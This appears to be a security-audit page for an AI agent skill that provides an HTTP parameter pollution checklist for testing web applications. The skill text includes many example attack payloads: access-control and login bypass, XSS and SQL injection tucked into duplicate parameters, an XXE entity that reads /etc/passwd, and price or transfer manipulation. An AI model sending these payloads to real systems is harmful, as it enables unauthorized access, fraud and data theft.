offensive-parameter-pollution — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited offensive-parameter-pollution (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
HTTP parameter pollution (HPP) checklist: duplicate parameter injection, backend vs frontend parsing differences, WAF bypass via HPP, server-side vs client-side HPP, and practical exploitation patterns. Use when testing web applications for parameter handling flaws.
Use this skill when the conversation involves any of: parameter pollution, HTTP parameter pollution, HPP, duplicate parameter, WAF bypass, parsing differences, server-side HPP, client-side HPP, parameter injection
When this skill is active:
HTTP Parameter Pollution (HPP) is a web attack technique that exploits how web applications and servers handle multiple occurrences of the same parameter name. When a web application receives duplicate parameters, different technologies process them differently:
flowchart TD
subgraph "HTTP Parameter Pollution"
A[Multiple occurrences of same parameter] --> B{Server Technology}
B -->|ASP.NET/IIS| C[Uses first occurrence]
B -->|PHP/Apache| D[Uses last occurrence]
B -->|JSP/Tomcat| E[Uses first occurrence]
B -->|Perl CGI| F[Concatenates with comma]
B -->|Python/Flask| G[Builds array of values]
B -->|Node.js/Express| H[Uses first occurrence]
endexpress uses either querystring (first-wins) or qs (arrays/last-wins). app.set('query parser', 'extended') changes behavior. Many middlewares assume param[]=a¶m[]=b for arrays; duplicates without [] can produce surprising results.HPP attacks leverage these inconsistencies in parameter handling across application layers, servers, proxies, and frameworks. Two main types of HPP exist:
sequenceDiagram
participant Attacker
participant WebApp
participant Backend
Attacker->>WebApp: Request with duplicate parameter<br/>param=safe¶m=malicious
Note over WebApp: Layer 1 processes first value
WebApp->>Backend: Forward request to backend
Note over Backend: Layer 2 processes last value
Backend->>WebApp: Process with malicious value
WebApp->>Attacker: Response#### Testing Parameter Handling
// Original request
https://example.com/search?param=value1
// Test request
https://example.com/search?param=value1¶m=value2#### Vulnerable Scenarios
#### URL Parameter Pollution
# Original URL
https://target.com/page?parameter=original_value
# Polluted URL
https://target.com/page?parameter=original_value¶meter=malicious_value#### Form Parameter Pollution
// Original POST body
parameter=original_value
// Modified POST body
parameter=original_value¶meter=malicious_value#### Hybrid Parameter Pollution
Combining parameters in both URL and POST body:
// URL
https://target.com/page?parameter=url_value
// POST body
parameter=body_value#### JSON Parameter Pollution
Testing duplicate keys in JSON objects:
{
"parameter": "value1",
"parameter": "value2"
}Also test:
Cookie: role=user; role=admin
X-Role: user
X-Role: adminObserve which value the application trusts.
#### GraphQL Parameter Pollution
GraphQL queries can be polluted through aliasing, batch mutations, and duplicate variables:
# Alias pollution - bypass rate limits
query {
a: user(id: 1) {
name
email
}
b: user(id: 2) {
name
email
}
c: user(id: 3) {
name
email
}
# ... repeat to z or beyond
}
# Variable pollution
query ($id: Int!, $id: Int!) {
user(id: $id) {
name
}
}
# Batch mutation pollution
mutation {
a: redeemCoupon(code: "SAVE50") {
success
}
b: redeemCoupon(code: "SAVE50") {
success
}
c: redeemCoupon(code: "SAVE50") {
success
}
}#### WebSocket Parameter Pollution
WebSocket connections can carry polluted parameters in the upgrade request or message payloads:
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
# URL with polluted params
ws://vulnerable.com/chat?token=valid&token=malicious&room=1&room=admin// WebSocket message payload pollution
{
"action": "sendMessage",
"room": "public",
"room": "admin",
"message": "test"
}#### Parameter Array Notation Pollution
Different frameworks handle array notation differently, creating pollution opportunities:
# PHP - expects brackets
param[]=value1¶m[]=value2
# Express (qs parser) - bracket optional
param=value1¶m=value2
# Rails - numeric indices
param[0]=value1¶m[1]=value2
# Mixed notation confusion
param=single¶m[]=array1¶m[0]=indexedTesting strategy:
param=a¶m=b (no brackets)param[]=a¶m[]=b (array notation)param[0]=a¶m[1]=b (indexed)#### Parameter Cloaking
Using encoding and case variations to bypass filters:
# URL encoding variations
param=value1&par%61m=value2
param=value1&PARAM=value2
# Double/triple encoding
param=value1&par%2561m=value2
# Unicode normalization
param=value1&pαram=value2 # Greek alpha instead of 'a'
# Null byte injection (legacy)
param=value1¶m%00=value2graph LR
subgraph "HPP Attack Vectors"
A[HTTP Parameter Pollution] --> B[Access Control Bypass]
A --> C[Request Forgery Enhancement]
A --> D[Data Manipulation]
A --> E[API Vulnerabilities]
B --> B1[Parameter Override]
B --> B2[Permission Escalation]
C --> C1[CSRF Token Bypass]
C --> C2[SSRF Augmentation]
D --> D1[SQL Query Manipulation]
D --> D2[Filter Evasion]
E --> E1[Parameter Precedence]
E --> E2[OAuth Manipulation]
end#### Access Control Bypass
https://example.com/admin?access=false&access=true https://example.com/profile?user=victim&user=admin#### Request Forgery Enhancement
https://example.com/transfer?token=valid_token&token=random_value&amount=1000 https://example.com/fetch?url=safe.com&url=internal.server#### Data Manipulation
https://example.com/products?category=1&category=1 OR 1=1 https://example.com/search?q=safe_value&q=<script>alert(1)</script>#### API Vulnerabilities
#### Authentication Bypass
# Application authenticates using the first parameter but authorizes using the last
https://example.com/login?role=user&role=admin#### WAF Bypass
# WAF checks the first parameter, backend processes the last
https://example.com/search?q=safe&q=<script>alert(1)</script>#### XML External Entity (XXE) via HPP
# Bypassing XML filtering by parameter pollution
https://example.com/upload?xml=safe&xml=<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>#### API Gateway vs Backend Precedence
# Gateway picks first id, backend picks last id -> IDOR/AC bypass
/api/user?id=123&id=999flowchart TD
A[HPP Testing Methodology] --> B[Initial Discovery]
A --> C[Exploit Development]
A --> D[Impact Assessment]
B --> B1[Map application parameters]
B --> B2[Test duplicate parameters]
B --> B3[Document behavior]
C --> C1[Access control testing]
C --> C2[Security control bypass]
C --> C3[API security testing]
D --> D1[Authentication bypass]
D --> D2[Authorization bypass]
D --> D3[Data manipulation]#### Initial Discovery
#### Exploiting HPP for Web Application Testing
# Test privileged parameter override
https://example.com/admin?admin=false&admin=true
# Test user context override
https://example.com/profile?id=attacker&id=victim # Test CSRF token pollution
token=legitimate&token=fake
# Test parameter validation bypass
param=valid_value¶m=malicious_value # Test API parameter handling
/api/v1/user?id=123&id=456
# Test with different content types
Content-Type: application/json
{"id": "123", "id": "456"} # Testing inconsistent interpretation
Transfer-Encoding: chunked
Transfer-Encoding: identityCookie: session=abc; session=attacker
X-Forwarded-Proto: http
X-Forwarded-Proto: https#### E-commerce Application Testing
# Price manipulation
https://shop.com/checkout?price=100&price=1
# Quantity override
https://shop.com/cart?quantity=1&quantity=100#### Banking Application Testing
# Amount parameter pollution
https://bank.com/transfer?amount=100&amount=10000
# Recipient override
https://bank.com/transfer?to=legitimate&to=attacker#### CMS Admin Testing
# Permission bypass
https://cms.com/edit?permission=read&permission=write
# User impersonation
https://cms.com/admin?user=admin&user=victim#### Social Sharing Button Parameter Pollution
A specific case of parameter pollution that affects social sharing functionality:
# Original share URL
https://target.com/article
# Polluted share URL
https://target.com/article?u=https://attacker.com&text=malicious_textu or url: The URL to be sharedtext: Custom text for the sharetitle: Title of the shared contentdescription: Description for the shared contentredirect_uri parameters in OAuth flowsid parameterid parameter[] suffix for arrays~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.